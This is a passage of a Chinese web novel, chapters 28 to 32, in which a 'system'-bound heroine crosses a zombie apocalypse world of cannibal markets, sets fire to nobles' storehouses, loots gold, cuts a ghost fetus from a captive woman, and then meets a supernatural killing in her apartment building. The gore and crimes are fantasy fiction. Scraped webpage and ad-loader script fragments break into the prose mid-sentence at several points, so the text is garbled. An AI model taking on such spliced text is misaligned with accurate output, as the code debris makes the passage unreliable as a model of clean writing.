屠夫在她身上来回捏了捏,利索地砍下了她的左臂,新鲜的肉挂在钩子上,喷涌出的鲜血流进盆子里,女人惨叫一声昏倒在地上,生死不知。 屠夫骂道:“他娘的,瘦不拉叽,就这么点肉也好要老子3000钱,真是亏大发了。这几天来的竟是些半死不活的下羹羊,再没有好货,砸的可是我屠夫李的招牌!” 有人接住话茬:“守着摊子就是干熬,咱不如学学后头的老王。出去三天骗回来个道士,可让那老小子发了邪财,要不,咱俩也出去干他一票?” “那也得看运气,外头的道士都快被杀完了,别到时候道士没逮着,摊子也没了,要去你去。” 祁安安集中精神听了一会儿,屠夫们的对话没什么营养,得不到有用信息。她调转角度打算换个方向看看,可没走出去多远,就被一个小孩给拦住了。 瘦成皮包骨头的小男孩毫不犹豫地“噗通”跪下,眼神里是不加掩饰的贪婪。 张术真动了恻隐之心,一只手在包袱里摸索。祁安安拦了一下,她微微眯起眼睛,居高临下地看过去:“我不帮没有用的人。” 别以为她不知道,这几间屋子后头都藏着人,要是傻了吧唧把食物拿出来,怕是要被坑死了! 小鬼见被识破,脸上无辜的表情褪去,一双黑黝黝的眼直勾勾的盯着她:“你在城里走了很久,是想知道这里发生了什么?或许,我知道一些你可能感兴趣的秘密?” 她眼睛一闪:“可以,我问你答。” 他们转到一处宅子后面,厚实的院墙阻碍了窥探的视线,祁安安先拿出来一块干粮。这是祁母在青州时烙好的,用粗麦粉和豆渣混在一起做成,一口下去又干又拉嗓子,味道还发苦。 小孩眼巴巴地看着饼子,眼里是毫不掩饰地渴望。 “第一个问题,朝廷的人去哪儿了?” 祁安安认真思考过系统任务,京城是什么? 据她所知,脚下这座城市,在几十年前,这个王朝还没有建立时有另一个名字。 再结合历史知识和任务现状,系统想让她到达的京城,应该是王朝实时认定的首都。所以,他们还得继续逃难。 小孩干巴巴地舔了舔嘴唇,“城破前三天,官家带着娘娘和一些重臣们逃了,说是往北边去,好像在辽城建了天京。” “城里守了三天,平王还是打了进来。一半人当时就死了。运气好的成了僵尸,运气不好的就成了食物。” 变成僵尸居然 () { $(''.inform'').remove(); $(''#content'').append('' 是运气好? 祁安安目光如炬:“此话怎讲?还有刚刚的坊市是怎么回事?不过一个月时间,不至于缺粮到要食人吧。” 小鬼头眨巴着眼睛,眼神直勾勾地看着饼子。祁安安给他递了过去,还有一个水囊。 他三两口啃掉大半个饼子,又珍惜地喝了两口水。 “平王手下有个法力高深的道士,据他说,人类血肉是最好的灵药,僵尸吃了能实力增长,要是人类吃了,将来转化成僵尸时,就不会是最低级的紫僵白僵,最差也是个毛僵。要是吃得足够多,飞僵也不是不可能!” “现在这世道,当人还真没有当僵尸来的痛快,看平王手下那个僵尸大统领,要多威风有多威风。” “如今当个普通人,既要提防着僵尸,还要提防着人类,唉——”小鬼头长长的叹了口气,眼底是不符合这个年纪的深沉。 “最后一个问题,你们没想过逃吗?” 小男孩眼底的哀愁更深:“这京城里,人和吃人的起码还能维持住表面的和谐,要真跑到外头去,像我们这种没本事的,怕是走出城门就得被下了锅。” “我晓得了,多谢你的消息。” 祁安安不知道自己能再说些什么,若吃人只是三两例,她可以想办法惩治,甚至杀死这些恶人。 但,这是整个社会。 这些人都病了。她没有灵丹妙药。 她给小男孩递过去一个布包,里面装了八斤干粮,还有两个水囊。 又从他口中得知,平王留下的军队和城里吃人的富人,都居住在城南。那里守卫严密,还维持着曾经的秩序。 她确认了方向,悄悄摸过去看了看。城南的巷口驻扎着军队,里头响着丝竹乐声,一副歌舞升平的景象。 张术真怕她上头,提醒道:“这么多人咱们打不过的。” “我知道。”祁安安心不在焉地点点头,眼里窜着火苗,“你说,咱们把这地方烧了怎么样?” 张术真:“???!!!” 他抬起手连忙推拒:“这种杀伤力的法术,我道行浅,做不到。” “不试试哪能说不行!”祁安安一脸和善地拍拍他的肩膀:“燃料我自备,就是得劳烦你,帮忙找找各家库房的位置。” “擒贼先擒王,烧屋烧库房!张道长!张天师!咱们干就完了!” 在一个个高帽下,张术真晕晕乎乎的被忽悠着上了贼船。 他找了把剪子,手腕翻飞间快速修剪出了一沓小人。 唉嘿,新招式! 祁安安两眼放光,又悄咪咪地掏出了手机。 张术真淡淡的瞥了一眼,倒是也渐渐习惯了。小纸人剪好后,他在每一个身上都滴上一滴血,然后往地面上一撒。 小纸人仿佛生出了灵智,迈动着小短腿,铆足了劲跑得飞快。没一会儿就带回来了几个主要库房的消息。 他们悄咪咪的混了进去,然后摩拳擦掌只等天黑。 29. 第 29 章 “一、二、三、四,还差最后一家!” 历时三个小时,祁安安带着张术真,成功在城南区的四个角都布置好了着火点,如今只剩下最后一家。 等全部布置好,大火同时烧起来,那场面想想都刺激! 还是张术真这小子靠谱,不知道他在山上学了什么稀奇古怪的技能,简直是溜门撬锁专业户。那么大的铜锁,一根铁丝就能捅开! 将来不干道士,当个盗圣也够格。 祁安安跟着他,一连探了四个库房,刚开始还像个没见过世面的土包子,看见盒银子都走不动道,书画稀罕瓷器也爱,恨不得把库房里的东西全搬走。 但冷静了三秒钟,她很快作出了取舍。这个末日世界的朝代在她的原生世界里从未出现过,书画瓷器拿回去只能算是精美工艺品,占地方还卖不上价。 还得是黄金,方便出手还是硬通货。最后她也没忘记拿上几盒银子。 因为僵尸的缘故,银作为法器的原材料,价格水涨船高,隐隐有超过黄金的趋势。等到祁母在新京城落了脚,多少能把温饱和住处给解决掉。 不过祁安安也是懂得礼尚往来的好孩子,虽然拿走了宝贝,但也在库房里留下了多多的面粉和撒开的油。 这怎么不算一种用心良苦呢? —— 位于城南中心的最后一家,祁安安看大院子就眼馋得不行,这里头得藏有多少宝贝啊。 张术真带着她从高高的院墙里翻了进去,他们轻巧一跃,落在了这家后花园的花丛里。 “嘶——” 祁安安一进来身上就起了一层鸡皮疙瘩,虽然看不到阴气,但身体下意识地反应告诉她,这宅子绝对不简单。 花园被精心修饰过,大大小小的灯笼点缀其中,幽幽的红光下,两个小毛贼无所遁形。 老天奶呀,这是要进来就落地成盒的节奏! 她尴尬地和不远处的护院来了个大眼瞪小眼,然后毫不犹豫地拔腿就跑。 “有刺客!”护院压着嗓子喊了一声,脚下却丝毫未动。 不只是他,花园里还有不少小厮婢女。这些人,没一个对突然出现的小贼作出诧异的反应。全在继续他们原先的工作。 古怪,处处都透着古怪。 祁安安从这些人脸上看出了恐惧,不是对着他们,而是——对着无处不在的灯笼! 灯笼? “哗哗哗——” 细细密密的摩擦声响起,一盏两盏三盏……,大大小小数不清的灯笼全往她这边凑了过来。 近了些才看清,这些冒着幽幽红光的灯笼,红得就像洗不净的污血,甚至还带着一股若隐若现的腥臭味。 “皮做纸,骨成架。”张术真喃喃,“这些全是人皮灯笼!” 这句话似乎打开了什么开关,灯笼们停了一瞬间,然后再次疯狂的朝两人身边挤过来。暗红色的血光一点点逼近,诡异的压迫感越来越重。 祁安安拔腿就跑,但这些灯笼移动的速度非常快,它们上一秒还在这个地点,下一秒就出现在了另外一边。 张术真试探性地打出去几张符,效果很好,但这些人皮灯笼实在是太多了。一张符烧掉几个,他们跑出一段距离,下个拐角里,又是几十个灯笼补了上来。 一阵腥风从身后逼近,没有半秒犹豫,祁安安拉着张术真一个翻身,险险的避开了灯笼的冲撞。 紧接着第二个灯笼几乎是擦着张术真的脸颊飞过去的,失去了目标的硕大灯笼,在惯性下直直的撞上了不远处的石壁,在坚硬的花岗岩上砸了个极深的坑。 可以确信,刚刚要不是祁安安躲得及时,他俩怕是要被这巨力砸成肉饼。 人皮灯笼一击落空,阴沉的酝酿着下一击,祁安安狼狈的伏在潮湿阴冷的土面上,眼睛直勾勾的看着不远处的鞋子。 双方对峙的时候,张术真正浑身紧绷的握紧了符箓。他不确定,自己能否在敌人的老巢里,带着个人全身而退。 有人碰了碰他的胳膊,张术真差点一个激动把符箓全扔了出去。 张术真:? 祁安安指了指不远处的鹅卵石路。 这意思难道是让他过去? 张术真一头雾水,待在花园里,面对的只有人皮灯笼,要是跑到石子路上,岂不是要被护院和诡物两面夹击? 奇怪归奇怪,同行了这么久,张术真也清楚祁安安的性格。只不过,在他们马上准备行动时,祁安安却做出了一个有点异常的举动—— 不远处的鹅卵石路上,端着木盘的小厮,脚边突然出现了一个木质的树桩,冒起的火焰“蹭”一下点着了他的衣角。 “啊——” 痛呼声艰难咽下,极端慌乱的情况下,这人也不敢脱离鹅卵石路,而是脚步凌乱地沿着花园小径,快速跑了出去。 再看人皮灯笼,他们的行动轨迹确实也在避开花园里的路径。这也就意味着,他们也可以利用这个规则,搏出一线生机。 张术真快速打出数十张符箓,挡在面前的人皮灯笼瞬间炸开。他们趁机跑上了鹅卵石路里。 人皮灯笼果然犹豫着不敢靠近,但另一个危机随之而来,宅子里的小厮和护院可不是吃白饭的,已经有人拿起武器脸色不善的朝他们围了过来。 张术真条件反射地瞧向祁安安,想看她怎么办。 面对诡物,他能以一当十,但面对这些普通人,他俩加起来对付一个都费劲。 祁安安没说话,她捞起身旁人的胳膊,带着他一起往宅子深处跑。 据她观察,宅子的前院在宴饮宾客,仆人们不敢发出太大的动静。而那些人皮灯笼,既诡异危险性又巨大。如果她是宅子的主人,不会把它放在后院,让自己连走路都受制于人。 所以赌一把,往后院 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 跑,追兵压力会大大减少。 祁安安猜得没错。护院果然有所忌惮,她在前面无头苍蝇似的乱撞,后面的护院不得不提起心神放轻脚步。 “艹,他们到底进来干嘛的,耗子一样到处乱跑!”护院里有人喘着粗气,忍不住抱怨了声。 没人有力气回答,但如果他仔细观察的话,或许会发现,这两个小毛贼看似毫无目标的横冲直撞。 实际上,他们奔跑的路线上大多有着木质建筑,或是柴房这种着火点。而且,身形较矮的那一个,一边跑一边右手不自然的垂落,再仔细观察的话,能看到她跑过来的一路边缘上,不知不觉地附着了一层油。 祁安安在这座大宅子的后院疯狂跑酷了二十分钟,身后的追兵越聚越多,她正思考接下来要怎么脱困时。 转过一条连廊,眼前突然出现一道莹润的亮光,光源就在不远处的脚下。 这种质感,她非常确定,不是人能仿制出来的,它属于系统。 “统砸!你活啦!” 系统沉默着没有回答,只是地下的亮光又加重了些。 “什么意思?让我进去吗?那里有你需要的东西?” 祁安安试探性地问了问,眼前出现了指向光源处的大大箭头。 明白了。现在是系统有求于她。 几乎没有犹豫,她果断应下:“那我去了,你千万保我一条狗命!” 赌一把,说不定能搏出一线生机。对于自家系统,祁安安是信任的,通过了新手世界,他们就是密切的利益共存者,总不会坑自己。 反正不会比现在更糟了。 她带着身后的追兵又兜了一个小圈子,同时利用直线距离的变化,不断改变火炬树桩的位置,趁机把刚刚撒好的油点燃起来。 一心在小毛贼身上的护院们惊恐发现,宅子怎么莫名其妙的无火自燃了! 夭寿了,出大事了啦! 大火很好的拦截了追兵,祁安安趁着混乱,带着张术真一头扎进了地上的光圈里。 光圈下是个隐蔽的密室,似乎是系统给开了后门,他们直接摔在了密室的地板上。 祁安安揉了揉摔得发疼的皮肉,谨慎地打量了一下四周。 密室里一片漆黑,唯一的光源来自身下地面上的繁杂纹路,暗红色透着浓浓的血腥味,细看仿佛还有液体在其中流淌。 她大着胆子打开了手电筒,不远处的密室正中央里,囚禁着一个人,一个大着肚子的女人 不知道用人来形容这个生物是否准确,因为她的脑袋上顶着两根血条,1200/68000。 人类的躯体,真的能孕育出如此强大的生物吗? 惊叹之际,挂机了一整个世界的系统终于开了金口。 冰冷的机械音响在耳边,他说:【宿主,请帮我取出她的孩子。】 真稀罕,用的还是祈使句。 30. 第 30 章 话音落下,祁安安手中多了个东西,她看向空中浮出的说明。 【戴夫的铲子:铲除你想铲除的东西。】 ??? 什么鬼,没头没尾的一句话,看着有点奇怪。 她看着手中平平无奇的铲子,再看看不远处奇怪的女人,深吸了一口气,然后快速靠近。 女人闭着眼睛,以受难者的姿态被吊起四肢,跪坐在地上。她的皮肤是接近于木质的深棕色,肚子大得惊人,腹部看起来像老树皮一样层层叠叠堆在一起。 祁安安忍着恶心和不适,咬咬牙举起了铲子。 女人的皮肤如纸张一样,被铲子轻易划开,腹腔敞开,露出里面的孩子。 祁安安不知道该怎么形容眼前这个怪物,这是一个巴掌大小的死胎,它浑身黑紫,四肢粗短,五官干瘪,数十条的血管像枝条一样与母体相连,只一眼就让人san值狂掉。 【割开血管把它取出来。】统扒皮挥舞起了小皮鞭。 祁安安被赶鸭子上架,再一次举起了铲子,深色的血管在铲刃下被利落地削去一半,死胎发出了诡异又刺耳的尖叫。 “啊——” 哭声撕破寂静! 尖锐、疯狂、刺耳、满含恨意! 巴掌大的小东西声音极尖极亮,哭声似乎有实形,在空气中形成一阵阵强悍诡异的声波。鬼胎皱起的五官浮现出浓浓的怨毒,一张褶皱发紫的脸都扭曲了。没有一个孩子会想离开自己的母亲,它还没有长大,待在母体里才能变得更强。 而现在居然有人阻了它的变强之路! 尖叫声还没停止,祁安安现在的状态并不好。68000的血条,对人类来说完全是神明。鬼胎没有睁眼,只是尖叫,就让她耳鼻流血,灵魂发战,从胃里涌上一阵极强的呕吐感。 地面上的血色纹路缓缓融化,潮湿浓厚的血腥味呛得人无法呼吸。 她几乎是凭着意志力再次扑了上去,手腕用力,手中的铲子直直插进女人的肚子里,然后狠狠一剜。 鬼胎被一整个挑飞,却在空中陡然转了个方向,朝着他们刚刚落下的洞口飞去。 它想要逃! 鬼胎跑得飞快,但另一道极闪的银光从祁安安身上爆出,闪电一般缠了过去。 在银光极强的压迫下,鬼胎重新安静下来,偃旗息鼓,努力把自己当死物,缩小存在感。 要尘埃落定了吗? 失血过度的祁安安从小屋里拿出了在极寒末世里的战利品补血剂,并且大方地分给在旁边打了半天酱油的张术真一瓶。 味道古怪的液体下肚,她被高分贝音波损伤的耳鼻,在以极快的速度修复。 张术真同样一饮而尽,只不过这家伙的反应有些奇怪,怎么喝完药剂,反而自己晕了? 总不能是补过头了吧! 旁边有个不省心的,天空上的拉锯却已经缓缓进入尾声,鬼胎肉眼可见地越缩越小,从巴掌大变成了一颗枣子大小,显然坚持不了太久。 它在剧烈颤抖,猩红色的光微弱地抵抗着,但系统就仿佛是它的天敌,绝对的压制,让它作不出一点反抗。 万籁俱静之际。 祁安安的身旁陡生变故,晕倒在一旁的张术真缓缓睁开了双眼,“真是没用的身体……” 极低极轻的一句话,仿佛自言自语。 她惊诧的看过去,却正好和男人阴冷的目光对上。 这种眼神,绝对不是张术真那个傻白甜能拥有的! “原来就是你搞砸了我这么多事——,难道,你是主系统请来的救兵?” 说着他自己都笑了,紧接着一条黑色的长鞭破空而来,然后—— 她就在强大的力量下,干脆利落的晕了过去。 —— 再次睁开眼睛,她正躺在一辆破破烂烂的板车上,前头拴着一头瘦骨嶙峋的老驴,在满眼黄土的山坡上哼哧哼哧地前行。 “咳……” 她虚弱的轻咳一声,坐在旁边的祁晖一个激灵,立刻高喊起来:“娘,阿姐醒了!” “安娘醒了,身体咋样?头晕不晕?” 祁母的唠叨紧接而来,驴车在背风的地方缓缓停下。 身体不知道昏迷了多久,祁安安除了刚才咳嗽一声,连自己坐起来的力气都没有。祁母扶着她喂了几口水。 “呸呸呸……” 混着泥沙和石子的水一进嘴,她一下子也不虚弱了,撕心裂肺的呸了起来。 “我……,呸呸呸,昏迷了几天?” “三天啦!”祁晖积极地回答,“那天城里起了好大好大的火,然后有个大哥哥像神仙一样,带着阿姐咻地就出现了。” “他让我们往北逃,我们就赶紧跑啦!” “等等,你说大哥哥,他长什么样?”祁安安一下抓到他话里的重点。 祁晖挠了挠头:“黑衣服,两只眼,还有一张嘴巴。” “然后呢?是高是矮,是胖是矮,还有没有别的特征?” “嗯……,我不记得了。”祁晖皱着眉头拼命回忆,但最后摇了摇头。其他人同样一脸迷茫,补充不出半点有效信息。 黑衣神秘人会是谁?是系统吗? 祁安安在心里呼唤,但没得到回应。她转开话题继续问:“张术真呢,他没和我一起回来吗?” 祁晖语气有点伤感:“没有唉,蒋叔那晚回城里找了一趟,但太乱了,到处都是火,没找到张哥哥。” “安娘,那天晚上城里到底怎么了?”蒋父忍不住发问。 祁安安苦笑着摇摇头,其实她也不清楚,不知道张术真为何反水,不知道被争夺的鬼胎是什么东西,更不清楚纷争的结局。 她再次打开了系统,没想到任务面板却发生了更新。 【隐藏任务完成,200积分已发放,请查收。】 哇塞! 居然还有这种好事! 天降横财,乐得祁安安一个鲤鱼打挺坐了起来,这会是腰也不酸了,背也不疼了,甚至还能折回去再放一把 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 火! —— 祁安安醒了,啃了好几天干饼子的小伙伴们,终于又回到了曾经的生活水平。 呜呜呜,有肉有菜有蛋的生活真是太好了!谁知道他们那几天过得都是什么日子! 驴车晃晃悠悠,又走了五天,终于到达了辽城,也就是新的天京。 这个朝代的统治者还没完全摆烂,天京作为新的都城,在短时间内修筑起了高大厚实的城墙,而且每块砖石上都镌刻着阵法。 等待检查入城的时候,夜里有一小波僵尸袭击,祁安安还没来得及跑,城墙上出现个白发老道,轻轻一抬手,十几只僵尸被烧的连灰都不剩。 这安全性,够靠谱! 她当即上供了银子,换取了几人快速入城的名额。 踏入城门的瞬间,熟悉的系统提示音在耳畔响起:【世界任务:1,保护祁安安的家人,已完成。 2,三个月内到达京城,已完成。 任务奖励330积分已结算。】 【C级任务世界因***,难度提升,发放补偿积分50,扣除系统赊欠50,当前结余积分540点。】 【是否脱离当前末世世界?】 “等等,我什么时候欠你积分了!” 祁安安眼睛瞪得老大,搞什么糊涂账,统扒皮想昧她50积分,没门! 系统没说话,只是打开了她的面板,还有一小时使用时长的火炬树桩,水灵灵的闪了闪。 “淦!”祁安安气的直爆粗口,然后毫不避讳的对着天空竖了个大大的中指。 你给积分的时候怎么不说是赊的?早知道她就不用了。 果然不能指望统扒皮良心发现! 【是否脱离当前末世世界?继续滞留将扣除5积分/天。】 电子音再次提示了一遍。 “等等等等,你不问自赊我不计较了,给我半天,不对,两小时!” “让我把他们安置好,这么远都带来了,不差这一会吧!” 系统没回应,不过催促的电子音倒是停了。 祁安安知道他的尿性,不拒绝就是默许。所以脚步不停赶紧带着一行人先去找了坊市的牙行。 辽京的房价不便宜,作为最后的官方安全区,这里可谓寸土寸金。她花光了从库房带出来的所有银子,又添了五袋面粉,最后才谈成这笔生意。 契书上写的是自己、祁母、祁晖和蒋父的名字。众人已经是经历过生死的同伴,以后还要在一起互相扶持。 宅子落下,她又马不停蹄从系统小屋里开始搬运东西,面粉大米油,种子,各种调料……,物资大包大包的拿出来,她生怕不够多不够全,总想再添点再添点。 其他人似乎也意识到了什么,祁母静静的看了她片刻,然后颤抖的伸出双臂:“安娘,你……” 祁安安轻轻回抱住她,在心里说了一句“再见”。 片刻之后,祁安安的双臂猛然一下收紧。 【宿主已成功脱离末日世界。】 31. 第 31 章 祁安安回到现实世界的时候,眼神有些恍惚,不只是因为时空穿梭带来的失重感。而是,刚刚的一瞬间,她似乎看到了些别的东西。 一座城,很多人,还有一个巨大的建筑,那叫——任务者中心! 她从水壶里给自己倒了杯热水,定了定神后联系系统。 “我一条一条问,还是你自己慢慢说?” 【……,有些问题超出权限,而且宿主知道太多不是好事。】 祁安安可不打算被糊弄过去:“第一个问题,我在极寒世界遇到的那个男人也是任务者?你们属于一个系统吗?” 该来的果然逃不掉,冷淡的声音似乎微微叹了口气:【宿主,除我之外,在任务世界里还有另一个系统,被称为“死生”,你遇到的就是他手下的任务者。】 “张术真也是?” 【是的,他是很成熟的任务者,和“死生”更像是合作关系,上个世界也是因为他们才任务难度异常。】 “那你们呢?你和‘死生’是什么关系?同事,还是竞争者?” 系统沉默了好一会:【我们的关系不死不休。请宿主在任务世界不要暴露出本系统的存在,否则您也会有生命危险。】 “最后一个问题,你们绑定任务者的目的是什么?” 【宿主问题超出权限,暂时无法告知。】 系统没给答案,她不知道自己是松了口气,还是更加担心,因为有预感,这背后的真相必然有巨大的阴谋。 —— 今天是祁母出院的日子,祁安安退掉了之前母女俩租住的老破小,带着她搬进了位于市中心宽敞舒适的公寓。 祁母不放心,拉着她的手反复追问资金来源。 祁安安打着哈哈糊弄过去,转头又拿出还有一小时使用时长的火炬树桩,把从任务世界库房里打劫回来的黄金,通通丢进去融化掉。 这些黄金有的是刻着票号信息的金条,有的是精美的首饰。她管不了那么多,全部化成金水,然后在模具上凝固好,先搞出了一整盒100克每根的自制金条。 她戴上假发帽子和口罩,倒了好几班公共交通,跑遍了市里大大小小的金店和典当行。 过程比想象的顺利,如今黄金价格正值高点,市场回收价是605元。她带来的金条,虽然因为冶炼工艺落后掺有别的金属,纯度低了些,价格需要打个折扣。 不过因为量大,做的又是无本生意,祁安安没啥意见,金店营业员成了一笔大生意,更是开心。 也不需要购买发票和证书,登记身份证号签完回购协议,一笔交易就算完成。 祁安安在不同地方分销出了20根金条,获得现金和转账110万元。 搬家之前,她特意联系了之前网购符纸的卖家,请她来做一次上门驱邪。毕竟从僵尸世界的经历验证,这卖家确实有两把刷子。 她给钱给得痛快,道士上门速度更快。 祁安安打开门看到一身道袍的娃娃脸女孩,有点惊讶:“你就是AAA茅山小张在线抓鬼?” 张淼打开微信聊天界面,确认好身份后,祁安安才放人进来。 她一边从包里掏法器,一边笑嘻嘻地说:“我还以为你会退单呢。” “为什么?”祁安安不解。 “大概是因为刻板印象,大家总觉得道士越老越吃香,我这张脸看起来就没有说服力。” 祁安安不以为然的笑笑:“你很厉害,符很有用。” “真哒!”没想到女孩比她更激动,一双亮闪闪的眼睛不停追问,她在哪里,什么时候,遇见了什么东西用出了符。 “呃……”祁安安哪儿能告诉她自己的末世任务,被迫一头冷汗地编出了个拙劣的鬼故事。 没想到张淼格外捧场,甚至还能根据她毫无起伏的语气作出精彩的reaction。 祁安安:……行吧,你开心就好。 张淼一边听故事,一边在公寓的角角落落都贴满了符箓,客厅又用各种法器摆出了一个小型八卦阵。 就是——,祁安安怎么也没想到,被放在八卦阵中心的居然是一本党章。 “……” “咱们道教也得与时俱进不是。”张淼笑声爽朗,并且积极地和她传授撞鬼逃生法,“简单来说就是往前跑,别回头,实在不行就一边背核心价值观一边丢符箓。” “现在世道好了,没什么穷凶极恶的大鬼,对付这些道行浅的,按我说的绝对没问题。” 祁安安一脸深意的听完了她的话,然后果断又用黄金下单了1000张符箓,和若干件法器。 张道长:“啊?啊?啊?啊!!” 虽然震惊,虽然离谱,但握着手里沉甸甸的金子,她斩钉截铁地答应了。 这么大的订单,张淼一个人也吃不下,她也没忘拉上自己的师兄师弟一起共同富裕。 这一晚,道士圈子受到了有钱为所欲为的震撼。这一晚,金主爸爸让他们回忆了假期前疯狂补作业的青春。 真是痛并快乐着啊! —— 晚饭时间,祁安安和祁母一起在厨房忙碌着。 祁母刚出院,医生交代要吃些清淡的好好养胃。祁安安这个无辣不欢的人,也不得不跟着一起修身养性。只是偶尔也会躲在房间里偷吃自热小火锅。 今天的晚餐是山药小米粥和一道炒时蔬。祁母站在锅边炒菜,她戴着手套和山药皮奋战。 突然头顶的灯闪了闪,然后屋里的亮度一下子暗了不少。 “是灯坏了吗?”祁母不明所以地问。 放在旁边的手机屏幕一亮,打开是小区业主群弹出来的消息。 101:【刚刚家里灯闪了一下,是不是小区电路出故障了?】 304:【我家情况一样,@404,大晚上的你哐哐剁肉,就差这一口吃的吗?】 802:【我家楼上那个来回拉椅子的,我也警告你,再继续我就要买 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 震楼器了!】 304:【物业呢,再装死下一年物业费我就不交了!】 单元楼就是这点不好,楼上楼下有一点东西都听得清清楚楚,今晚304率先发难,一下子点燃了众人的怨气,对邻居对物业的牢骚发个不停。 楼管小哥在二十分钟后发出了一条信息,内容却是:【业主们看窗外,外头没有光!!!】 101:【?】 903:【什么情况,小哥是被骂到精神失常了?】 他们小区可是在市中心,哪怕天上下冰雹小年轻们也能嗨到天亮,小区居民们更是因为噪音问题投诉过好多次。除非是全市停电,不然哪能窗外没光。 404:【你们打开窗户自己看,外头真的没光!】 802:【草,见鬼了,大家先别出门,我打报警电话问问。】 随着楼管的信息,陆续不少业主反应,外面确实是一片漆黑。业主群激烈地讨论起来,有人说是恐怖分子袭击,有人说是超自然现象。他们商量着报警,又商量着警察来了该如何自保。 祁安安看着手机右上角显示的无信号,按灭屏幕,然后走到了窗边。 天气炎热,家家户户都是关着窗子开着空调制冷,她没打开窗户,而是从小屋里拿出一只高功率手电筒打开。 不知道什么时候窗户外笼罩了一层黑暗,手电筒极亮极刺眼的光透过窗户射出去,却被浓郁的黑吞噬的一干二净。 这种反常现象,已经不是科学能解释的了,她心中升起一股不好的预感。 想起最近恶补的玄学知识,祁安安抓紧时间,先把屋子里的镜子全部收了起来,包括洗漱台上的一起用黑布严严实实的包好。 窗帘全部拉上,大门贴满符箓再用两个柜子堵住。 一通操作下来,她满头大汗,心里却安定不少。业主群里的人也终于惊慌失措地发现,他们彻底与外界断联,如今所有人只能靠这个群聊联络。 就在这时,楼管小哥传上来一张黑乎乎的照片,亮度调到最高才能依稀看出是两个巨大的黑色塑料袋,大咧咧地摆在楼道里,正不停往外渗着污水。 楼管:【@404,说过多少次不要在楼道堆放垃圾,你这都有味儿了,赶紧处理掉!】 404:【你TM别污蔑人,老子从来不干这么没素质的事!肯定是旁边403扔的?】 403:【搞什么乱泼脏水?我有洁癖整栋楼都知道好吧。@楼管,把塑料袋打开,咱们让证据说话!】 404:【我同意,@楼管,把塑料袋打开,我今天和隔壁这个贱人杠到底!】 【是谁的垃圾,谁发1000红包,敢不敢来?】 403:【你以为我怕了,要是我的,我发一万!】 这俩人的争吵把紧张的气氛缓和不少,有不少看热闹的也在趁机拱火。 过了三分钟,楼管再次上传了一张照片。是一个年轻男人的头颅,还有零碎的残肢。 32. 第 32 章 仿佛碎尸案的抛尸现场,让群里安静了一瞬,然后瞬间躁动起来。 802:【草,吓死人了,这是什么,恶作剧吗?】 101:【道具做的挺逼真,有这手艺当楼管屈才了。】 304:【物业投诉电话是多少来着,信不信老子明天就让你失业!】 楼管:【很抱歉,我也不想吓到各位,但这不是恶作剧。说明白一些,咱们楼里发生了碎尸案,凶手说不定就藏在我们中间。】 【现在请大家帮忙辨认死者身份,我会保护好现场,等通讯恢复后交给警察处理。】 楼管的消息发出之后,群里安静了很久。诡异,这实在是太诡异了,莫名其妙的黑暗,信号的断联,还有楼道里的碎尸,让所有人的心里都在打鼓,升起难言的恐惧。 至于指认死者的身份,也是个难题。公寓楼以租户为主,人口流动性大,有的人可能住了一年都不知道邻居长什么样。 一时间大家都沉默了,过了许久,群里突然多了条消息。 发出者打开了匿名聊天,看不到身份,他说:【死者是404。】 101:【???!!!你搁这编鬼故事呢?】 另一个匿名号出来作证:【我见过404的邻居,他和尸体确实长得一样。】 【我也有印象。】 接连三个人出来指证,让群里瞬间炸开了锅,发言过好几次的404居然是个死人! 这是怎么回事? 是有人拿到了他的手机?还是超自然力量在操控?越想越吓人,不少人被自己的猜测吓出一身鸡皮疙瘩。 404这时发上来一条语音消息,是一连串中气十足的骂声:【哎哟卧槽,你们TMD傻逼吧。披着匿名不知道是人是鬼的玩意,说的鬼话你们也信。告诉你们,老子活得好好的,随便你们来验证!狗日的,别让老子知道是哪个贱人在背后搞这些小动作,到时候打断你的腿!】 语音发完,他又传上来一张自拍。是一张他与平板的合影,因为对焦的缘故,男人的脸拍得不太清楚,但平板上硕大的“年月日时”异常清晰,确实是一张刚刚的抓拍。 要是从后面模糊的人脸上再一对比,确实能发现404和那颗被割下来的人头长得有些相似,看来真的是个误会。 业主群里一时也不知道该不该松口气。 【这总行了吧,别他妈再没事烦老子!】 404发了一通脾气,群里没人敢凑他的不痛快,一时间都安静了下来。 天色已晚,祁安安看着祁母上床躺好后,也准备洗洗睡下。 楼管:【业主们,大门不知道被谁锁上了,暂时出不去。楼里隐藏着杀人犯,我在大厅值班不安全,有没有好心人能收留一晚?】 802:【你自己都说杀人犯可能在我们中间,谁放心放你进去?】 101:【作为楼管,你的职责不是守卫公寓安全吗?】 304:【去业主家里蹭住?你真是开得了口。之前在群里发血腥图片,我们还没和你计较呢。】 【这几条我都已经截图保存,网络恢复等着我的投诉信吧!】 403:【其实我觉得你今晚不用回值班台,404门口就挺不错的,凶手说不定会重返抛尸现场。只要把他抓住,我们会联名给你写表扬信的。】 恐慌的情绪需要宣泄口,一时间楼管成了情绪垃圾桶,批评、谴责、道德绑架的话一句接着一句。 楼管:【对不起大家,这是我的错。我没有尽到楼管的责任,已经深刻检讨,为了表达歉意,接下来我会向有意见的业主登门道歉。】 【304,802,403的业主们请稍等,我马上就到。】 【@403,麻烦您开一下门,我来道歉了。】 “叩叩——” 清晰的敲门声响在寂静的楼道里,祁安安所在的401,正好和403形成对角,拥有最佳的视野位置。 她大着胆子踩在柜子上,凑近猫眼去看,随着敲门声响起,门外的声控灯亮起来,勉强照清了走廊。 穿着黑色制服的男人身体诡异地扒在防盗门上,脑袋使劲往猫眼上凑,似乎是想把门里的内容看得更清。 “你好……” 尖细的男声响起怪异的腔调:“403的业主,我是今天刚入职的楼管。刚刚和您发生了一些误会,特意来上门道歉。” 没人回应他。 “咚咚咚——”敲门声愈发急促,外面的楼管情绪越来越激动,甚至开始撞击房门。 他的声音染上怨毒:“开门呀,我好不容易才得到的工作,不能被你的差评毁掉。” “你在群里不是很爱说话吗,怎么不吭声?你是不是瞧不起我,是不是小看我?是不是!” 他停下了动作,脸上狰狞一笑,然后抬起右腿,朝防盗门上狠狠踹了过去。 这一脚力道极重,带着天花板仿佛都跟着晃了晃。 祁安安的手机屏幕亮起,弹出好几条消息。 